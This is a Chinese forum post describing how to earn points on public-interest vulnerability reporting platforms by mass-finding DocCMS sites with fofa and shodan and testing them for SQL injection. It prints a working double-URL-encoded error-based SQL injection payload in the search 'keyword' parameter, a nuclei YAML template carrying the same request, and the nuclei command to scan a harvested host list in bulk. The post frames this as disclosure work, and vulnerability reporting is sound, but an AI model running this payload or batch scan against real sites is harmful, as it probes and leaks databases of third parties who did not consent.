本帖最后由 Grav1ty 于 2022-10-2 17:57 编辑
实战|记一次公益SRC上分思路
0x01 提前准备工作
这里暂时排除使用GooleHack的语法,而是使用测绘站搜索CMS,缩小范围提高准确率。 需要使用到以下工具和文库 0x02 使用POC测试单个站点1. 寻找可利用POC主要针对 CMS 框架漏洞,框架漏洞有着清晰的指纹标识,方便批量寻找到目标。 2. 使用空间测绘站寻找资产并不是所有漏洞都有现成的POC,又因为CMS对应的资产并不少,要找到一个可以利用的POC不一定是一件简单的事情。推荐找 可以通过GET传参得到返回结果的SQL注入 ,毕竟点进URL只要粘贴就可以验证是否存在漏洞。 在文库内找到网络测绘搜索语句,使用 fofa、shodan、360quake 等测绘引擎搜索相关资产。 3. 试相关资产漏洞是否存在带有破坏型的漏洞不推荐测试,仅测试回显结果可以证明存在漏洞的POC。注入只需要爆出数据库、任意文件上传只需要上传phpinfo而不是传个shell,目前我是这么理解。 这里选择的是一个普通的 SQL 注入,构建poc如下 http:example.com/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33当页面发挥结果中包含 数据库用户名称、数据库地址则代表存在漏洞,至此为止。以下为图片说明 0x03 批量对站点进行检测1. 将收集结果URL保存至本地可以通过测绘站接口,或是工具简单的实现,如 fofa_viewer 将HOST字段保存至本地txt文件,此时你就得到了一个可能存在漏洞的站点列表。 2. 编写POC或使用工具批量检测
- keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33
复制代码
- # 必要字段 ID
- id: DocCMS-keyword-SQLi
- # 必要字段INFO
- info:
- name: DocCMS-keyword-SQLi
- author: kylin
- tags: sqli,DocCMS
- reference: http://wiki.peiqi.tech/wiki/cms/DocCMS/DocCMS%20keyword%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
- severity: high
- # HTTP请求数据包
- requests:
- # 原始数据包(RAW)内容
- - raw:
- - |
- GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33/ HTTP1.1
- Host: {{Hostname}}
- # 匹配字符串包含 ORDER BY id DESC
- matchers:
- - type: word
- words:
- - "ORDER BY id DESC"
复制代码
- # 1.调用 DocCMS-keyword-SQLi.yaml 模板,扫描 urls.txt 文件
- # 2.将结果保存至 result_DocCMS-keyword-SQLi.txt
- # 3.简化输出结果 重试次数10 超时时间30s
- nuclei -l urls.txt -t DocCMS-keyword-SQLi.yaml -o result_DocCMS-keyword-SQLi.txt -nm -retries 10 -timeout 30
复制代码
然后哇的一下,扫描结果就全出来了 使用 nuclei 编写 yaml 对批量检测漏洞有很大的帮助,不过根据官方的定义 nuclei 还可以用作渗透测试的工作流,这里留个个小小的坑 0x04 快速定位资产提交报告1. 正则筛选根域名因为扫描结果的URL并不是网站根域名,先简单针对扫描结果用正则匹配一下根域。)
- # awk 正则定位根域名
- awk -F 'search' '{print $1}' result_DocCMS-keyword-SQLi.txt > domain_DocCMS-keyword-SQLi.txt
复制代码
确认提交的平台, 漏洞盒子提交无限制, 补天需要百度权重>=1或Google权重>=3 针对爱站PC、爱站PE、GooglePR筛选查询结果 3. 批量查询备案信息提交漏洞报告时,需要对公司名称以及公司定位做选择,这里有三个选择 批量备案查询 免费额度用完了需要付费,免费额度500条 - http://www.jucha.com/beian/
复制代码
站长ICP备案查询 不能批量查询,单个提交报告时也够用
对于 批量查询站点权重、批量查询备案信息 本来都是有想法写个脚本来实现的,奈何这些0权站点实在不能给人带来动力. 提交漏洞的事情就交给另一个小倒霉蛋吧。 补充阅读: 补天SRC小白提交漏洞入门详细介绍: - https://blog.csdn.net/qq_37113223/article/details/1119164作者:kylin
复制代码
如有侵权,请联系删除
|